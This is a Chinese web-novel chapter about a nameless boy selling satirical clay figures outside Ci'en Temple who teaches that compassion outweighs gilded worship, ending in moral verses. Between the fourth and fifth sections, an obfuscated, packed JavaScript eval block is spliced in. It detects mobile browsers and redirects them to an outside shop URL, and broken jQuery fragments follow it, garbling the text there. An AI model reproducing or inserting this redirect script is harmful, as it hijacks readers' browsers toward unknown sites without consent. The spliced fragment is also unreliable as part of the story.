楔子无名人


    大秦十年春，长安西市来了个卖泥人的。摊子摆在慈恩寺外，泥捏得奇——不捏菩萨罗汉，专捏市井人物：挑粪的、要饭的、杀猪的、唱曲的，个个眉眼生动，还题着歪诗。


    最奇的是一组“寻佛图”：第一尊是锦衣香客跪拜金佛，题“佛在西天”；第二尊是同一个人蹲着喂街边病丐，题“佛在眼前”；第三尊只剩个空蒲团，题“佛在何处？”


    摊主是个少年郎，十六七模样，娃娃脸，分不出男女，整日笑嘻嘻的。问他名姓，说“我叫喂、哎、那位都行”；问来历，说“从脚底板来”；问泥人卖价，伸出一指——一文钱一个，童叟无欺。


    慈恩寺知客僧了凡路过，见泥人讽刺香客，大怒：“哪来的野小子，谤佛辱僧？”


    少年抬头，眼如清泉：“师父，我捏的是人，怎是谤佛？”


    “这…这题诗分明是讥讽！”


    “诗说实情呀。”少年拿起“佛在眼前”那尊，“您看，这人喂乞丐，是不是比跪拜更像佛做的事？”


    了凡语塞，拂袖而去。少年也不恼，继续捏泥。晌午，来了个瘸腿老丐，盯着泥人发呆。少年拿了个“挑粪人”给他：“送你，不要钱。”


    老丐颤声：“小哥…你捏的，是我年轻时候。”


    “哦？那您讲讲，挑粪苦不苦？”


    “苦，臭，人嫌。”老丐蹲下，“可庄稼要粪，人要吃饭。没有挑粪的，哪有拜佛的？”


    “对喽！”少年拍手，“您这才是真佛理——佛不要香，人要粪，粪养粮，粮养人，人拜佛。转一圈，佛是您供的。”


    老丐愣住，继而大笑，笑着笑着，哭了。


    一、 慈恩寺外


    从那天起，少年泥人摊前，常聚些怪人：有输了钱的赌棍，有死了老伴的老汉，有被逐出家门的逆子。来了也不买泥人，蹲着说话。少年听着，偶尔插一句，句句戳心窝。


    赌棍说手气背，少年捏个“剁手人”给他：“剁了就不赌了，敢么？”


    赌棍哆嗦。


    老汉说想跳河，少年捏对泥娃娃：“这是你孙子？你死了，他哭谁？”


    老汉掩面。


    逆子说爹狠心，少年捏个弯腰锄地的老农：“这是你爹？他腰怎么弯的？”


    逆子语塞。


    一来二去，慈恩寺的香客，分了两拨。一拨进寺烧香，一拨在摊前说话。了凡气得跳脚，报官说“妖人聚众”。长安府法曹参军韩愈——与唐贤同名不同人，是个认死理的——亲自来查。


    韩参军到摊前，见少年正给个哭妇捏泥人。妇说丈夫宠妾虐她，少年捏了个“三人行”：夫在中间，左妻右妾，妻捧饭，妾捧酒，夫两碗都接，噎得翻白眼。


    妇破涕为笑。少年说：“大姐，饭要抢着吃才香。你且把饭做得再香些，他若不回头，是他没福，饿死拉倒。”


    韩愈咳嗽一声。少年抬头：“官爷买泥人？一文一个。”


    “本官问你，姓甚名谁，籍贯何处？”


    “我叫泥人张…王…李都行。籍贯嘛，”少年指地上泥土，“长安土生的。”


    “休要嬉皮笑脸！有人告你妖言惑众。”


    “妖言？”少年歪头，“我说‘做人要像人’，这是妖言？那什么才是人言——‘拜佛能升官’？‘捐钱能消灾’？”


    韩愈被噎住。他细看这少年，眉眼干净，不似奸邪，便道：“你既无恶意，何必在寺前生事？挪个地方吧。”


    “寺前好呀。”少年笑，“这里人多，苦人多。佛在寺里听不到苦，我在寺外听听，说几句人话，不行么？”


    “佛门清净地…”


    “不清净。”少年打断，指向寺门，“您看，进出的，多少是求升官发财的？多少是心里有鬼来买安心的？佛要真清净，该把门关了，谁也别进。”


    韩愈竟无言以对。他拿起那尊“佛在何处”的空蒲团泥人，沉思片刻，放下三文钱：“这三个，我买了。”


    少年却只收一文：“说好一文一个。官爷多给，是贿赂，我不要。”


    韩愈深深看他一眼，走了。回衙对书吏说：“此子…不简单。”


    “要不要驱赶？”


    “不必。”韩愈摇头，“让他待着。长安城，需要这么个说人话的。”


    二、 大佛开光


    三月三，慈恩寺新铸铜佛开光。佛高丈六，用铜五万斤，信众捐金贴面，金光耀眼。方丈广济发了千张请柬，长安有头脸的都来了。


    开光仪式在辰时。卯时，寺前已人山人海。少年泥人摊照摆，今日捏的是“众生相”：有踮脚看佛的，有挤掉鞋的，有偷人钱袋的，有被踩哭的娃。


    韩愈奉命维持秩序，又见少年，蹙眉：“今日大典，莫生事。”


    “不生事，看热闹。”少年笑嘻嘻，捏了个“大佛瞪眼”，佛眼铜铃大，瞪着底下芸芸众生。


    吉时到，钟鼓齐鸣。广济方丈登台，正要说法，忽听寺外墙根下，传来凄厉哭喊。是个老妇，抱着个病孩，跪求入寺：“方丈慈悲！让我儿进去拜拜，求佛保佑！”


    知客僧拦着：“今日贵客满堂，闲杂莫入！”


    老妇磕头：“我儿快死了…就求佛摸一下，一下就好！”


    广济皱眉，示意给几个钱打发。少年忽然站起，朗声道：“方丈，佛说慈悲。这孩儿要死了，佛若真有灵，是该坐殿上受香火，还是该下来摸他一下？”


    满场寂静。广济沉脸：“哪来的狂徒！”


    “狂徒不敢，是个捏泥人的。”少年走到老妇前，蹲身看那孩子，面如金纸，气若游丝。他伸手在孩子额上轻轻一摸：“小兄弟，佛摸过你了，不怕。”


    说也奇，那孩子竟睁开眼，弱弱喊了声“娘”。


    众人哗然。老妇喜极而泣。广济脸色铁青：“装神弄鬼！”


    少年起身，对众香客道：“诸位看见没？方才我摸那一下，你们觉得是佛，还是人？”


    有人嘀咕：“碰巧吧…”


    “对，碰巧。”少年点头，“佛渡人，也靠碰巧。可若连碰一下都不愿，这佛，是铜的，还是活的？”


    他走到大佛前，仰头看。佛垂目，慈悲庄严。少年忽然伸手，在佛脚上拍了一巴掌。


    “啪”一声脆响，惊得满场倒吸凉气。


    “嗯，是铜的，冰凉。”少年甩甩手，“难怪，摸小孩是热的，摸佛是冷的。这佛，不如人暖。”


    广济大怒：“捆了！送官！”


    武僧涌上。韩愈急拦：“方丈息怒！今日大典，不宜动粗。”


    “他辱佛！”


    “他辱的是铜像，不是佛。”韩愈正色，“佛若连一巴掌都受不住，还渡什么众生？”


    广济怔住。少年对韩愈一揖：“谢官爷。我走啦，这儿铜臭味太重，熏人。”


    他收拾摊子，背起箱子，哼着小调走了。走前，将那尊“大佛瞪眼”泥人，放在寺门槛上。


    佛眼瞪着寺内，也瞪着寺外。


    三、 西市医心


    少年没走远，在西市最脏的“丐窝”旁，又支起摊。这回不卖泥人，摆了个“问心摊”：一张破席，两个蒲团，谁有苦，来坐，他说几句。不要钱，但若带了吃食，分他一口也行。


    来的人五花八门。有妓女问“何时能从良”，少年说“心净即从良，身在哪都一样”；有贪官问“如何睡得稳”，少年说“把贪的吐出来，就稳了”；有书生问“何时中举”，少年捏个“粪瓢”给他：“先挑三年粪，再谈圣贤书。”


    话糙，理正。渐渐，丐窝成了“医心窝”，比寺庙还热闹。


    这日来了个绸缎商，姓钱，愁眉苦脸。坐下就说：“大师，我上月捐了三百两金箔，给慈恩寺佛贴金。可生意还是亏，佛不保佑啊！”


    少年正吃馍，含糊道：“佛不缺金，缺心眼。”


    “什么？”


    “你捐金时，想的是佛，还是生意？”少年咽下馍，“若是想生意，那是买卖，不是供养。买卖亏了，怪谁？”


    钱商人愣住。


    “城外流民，饿得吃土，你三百两，能救多少人？”少年问，“你救一人，是一功德；贴金佛身，佛未必知。哪个划算？”


    “可…都说捐佛功德大…”


    “谁说？和尚说的。”少年笑，“和尚要修庙，要金身，自然说捐佛好。佛要这些么？佛要人向善。你救人，就是向善，就是功德。”


    钱商人沉思良久，起身一揖：“受教。”他真去城外设了粥棚。


    三日后，他喜滋滋回来：“奇了！自施粥，主顾多了，账也顺了！”


    少年摆手：“不是佛保佑，是你心宽了，人不躲你了。人心是秤，称得出善恶。”


    消息传开，有几个香客，悄悄把捐寺的钱，转去施粥、义诊。慈恩寺的功德箱，眼见着瘦了。


    了凡气得牙痒，又报官。韩愈这回不来了，只回四字：“多管闲事。”


    四、 雨夜真佛


    四月八佛诞，大雨。慈恩寺法会照办，只是香客少了三成——都去西市看“问心摊”了。


    少年今日不摆摊，在丐窝棚里，给几个病丐熬药。药是野草根，他认得全，说“地上长的，都是药，看你会不会用”。


    正熬着，棚外来了辆马车。车帘掀开，下来个老妇，锦衣华服，是当朝宰相裴度之母。老太太七十多了，挂杖走近：“小哥，老身…能坐坐么？”


    少年挪出干地：“坐，但棚漏雨，您仔细着。”


    裴母坐下，端详他良久：“你…就是那个说‘佛不如人暖’的少年？”


    “是我。”


    “你不怕？”


    “怕什么？怕佛怪罪？”少年搅药，“佛要怪，先怪那些借他名敛财的。我一个捏泥人的，怕啥。”


    裴母笑了，皱纹舒展：“我儿裴度，官至宰相，可近日愁得很。他说，朝堂如泥潭，清不了，出不去。老身来问问，可有解法？”


    少年递过碗热药：“老夫人先喝口，暖暖。”


    裴母接过，尝了一口，苦得皱眉，却喝完了。


    “药苦，可治病。”少年道，“朝堂是潭，您儿是莲。莲出淤泥，靠的是根干净，梗中通。根若不净，早烂了；梗若不中通，早憋死了。让他想想，根还净不净？梗还通不通？”


    裴母一震，喃喃：“根…梗…”


    “对。做官如做人，心是根，行是梗。心净，行的正，哪怕在泥潭，也开得出花。心不净，行不正，金殿也是泥潭。”


    裴母默然，良久起身，深揖一礼。少年避让：“使不得，折寿。”


    “受得。”裴母道，“这话，值万金。不，万金买不到。”


    她上车离去。少年继续熬药。雨越下越大，棚顶漏得厉害。他将几个病丐挪到干处，自己坐在漏处，任雨淋。


    有丐问：“小哥，你图啥？”


    “图个心安。”少年抹脸上雨水，“你们病好了，我心安；那老太太明白了，我心安。心安了，雨也是暖的。”


    是夜，裴度连夜进宫，上《清源疏》，请查贪墨，裁冗员，减税赋。皇帝准奏，朝野震动。


    知情人说，裴相那夜从宫中出来，不坐轿，步行回府，一路淋雨。到家对老母说：“娘，儿今日，才知什么是根净梗通。”


    裴母笑：“是那少年教的？”


    “是雨教的。”裴度望向西市方向，“那少年，是雨中人。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088173|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    五、 泥归土


    五月，少年忽然不见了。摊还在，泥人还在，人没了。丐窝的人说，昨夜还在熬药，今晨只剩张字条，炭笔写的：


    “泥人归土，


    土生万物。


    佛在泥中，


    莫再寻吾。”


    裴母命人寻，无果。韩愈也暗访，无迹。像一滴水，蒸发了。


    唯留那些泥人，在西市传着。有买的，转赠的，供着的。慈恩寺悄悄撤了“捐金榜”，多了个“施药处”。了凡自请去施药处，见了乞丐，也会递碗热水了。


    七月，流年不利。关中蝗灾，渭水泛滥，灾民涌向长安。朝廷开仓放粮，僧寺道观皆设粥棚。慈恩寺的棚最大，广济方丈亲自掌勺。


    这日，棚前排着长队。有个小乞丐，五六岁，领了粥不喝，东张西望。了凡问：“找什么？”


    “找…找捏泥人的小哥哥。”小乞丐说，“他说，喝了粥，给他捏个泥人。”


    了凡心中一动：“他…长得什么样？”


    “娃娃脸，笑笑的，手可巧了。”小乞丐比划，“他说，他是土里生的，还会回土里去。”


    了凡望向远方，烟尘滚滚，灾民如蚁。


    忽然，他看见个人影——在灾民队伍里，正帮个老人提行李。娃娃脸，破衣衫，赤着脚。是那少年！


    了凡急追过去，人影却一晃，不见了。问那老人，老人说：“是个好心娃，帮我提东西，说‘您慢慢走’，就走了。”


    “往哪去了？”


    老人指指西方：“那边，说去灾区，那边苦人多。”


    了凡呆立良久，回棚继续施粥。粥烫，他吹凉了递给下个灾民，忽然说：“小心烫。”


    话出口，自己一愣——这是那少年常说的。


    原来有些话，听多了，就种在心里了。


    尾声佛是人间


    三年后，韩愈调任离京。行前，独访慈恩寺。寺已大变，殿前多了“问心亭”，谁有苦，可亭中坐，有僧聆听。功德箱小了，旁立木牌：“捐钱不如捐力，可来施粥处帮忙。”


    广济方丈老了，见韩愈，合十：“韩大人，老衲…悟了。”


    “悟了什么？”


    “佛是泥塑的，人是活着的。”广济指殿中铜佛，“那尊佛，还是冰的。可施粥的锅，是热的。热比冷，更像佛。”


    韩愈点头，出寺。在西市“丐窝”旧址，如今成了“义学堂”，穷孩子在此识字。教书的是个老秀才，见他来，递上个布包。


    “这是？”


    “那少年留下的。”老秀才说，“他走前，放我这，说若有官爷来问，给。”


    布包打开，是个泥人，捏的是韩愈自己——着官服，蹲着给乞丐递粥。底刻八字：


    “佛是人间，


    官是父母。”


    韩愈眼眶一热。翻过泥人，背后还有行小字：


    “莫寻我，我在土中，在风中，在每一碗热粥的热气里。


    若真想见佛，且看——


    谁在施粥，谁在救人，谁在说人话，做人事。


    那人，便是佛。”


    韩愈将泥人揣入怀中，上马出城。城外，春麦青青，农人正施肥。粪臭扑鼻，他却深吸一口。


    是活着的气味。


    是佛在泥土里的气味。


    他忽然想起那少年的话：


    “佛要金身做甚？要的是人，活生生、有温度、会苦会笑的人。”


    他打马前行。身后长安，钟声悠悠。


    而更远的关中，蝗灾过了，水退了，田里又有了绿意。


    有农人说，曾见个娃娃脸少年，在田埂上走，哼着歌：


    “佛在西天也在我，


    我在土中也在天。


    莫问何处寻真佛，


    且看碗中粥可鲜？”


    是梦，是真，无人知。


    只知那歌，在田间传着。


    只知那碗粥，是热的。


    只知那佛，从未离开。


    在每一寸土里，每一碗粥里，每一个伸手的人心里。


    本章诫世


    一、 泥人讽世之镜


    - 以市井泥人对照金身佛像，以人间苦乐对照殿中香火


    - 破解法：凡标榜“神圣”而远离尘土者，必察其虚


    - 示例：捏“寻佛图”、题刺世诗、摆“问心摊”


    二、 佛脚一巴掌之悖


    - 拍铜佛脚言“不如人暖”，直指宗教物质化之弊


    - 惕世：当信仰成为镀金生意，真义便在街头泥泞中


    - 反思：大典金光与病丐哭声，哪个更近佛心？


    三、 根净梗通之喻


    - 以莲喻官，根在心净，梗在行通


    - 深层隐喻：任何高位者，若心根不净，终陷泥潭


    - 终极质问：是佛殿需要金箔，还是人间需要热粥？


    泥人偈：


    长安市上捏泥人，不捏菩萨捏世尘。


    佛脚冰凉不如手，人心温暖即法身。


    莫向西天寻宝相，且看东郭施粥盆。


    泥人归土终是土，土生万物又逢春。


    后世叹：


    大秦十年春复春，慈恩寺外笑语频。


    泥人捏出众生相，破席医好百病心。


    佛诞日冷金身泪，雨夜棚暖药灶薪。


    莫问少年何处去，碗中粥气即佛音。


    正是：


    长安三月柳絮扬，寺外泥人市井妆。


    佛诞日冷拍铜脚，雨夜棚暖熬药汤。


    根净梗通莲出水，粥热语平丐成康。


    莫道真佛无处觅，且看谁在施粥忙。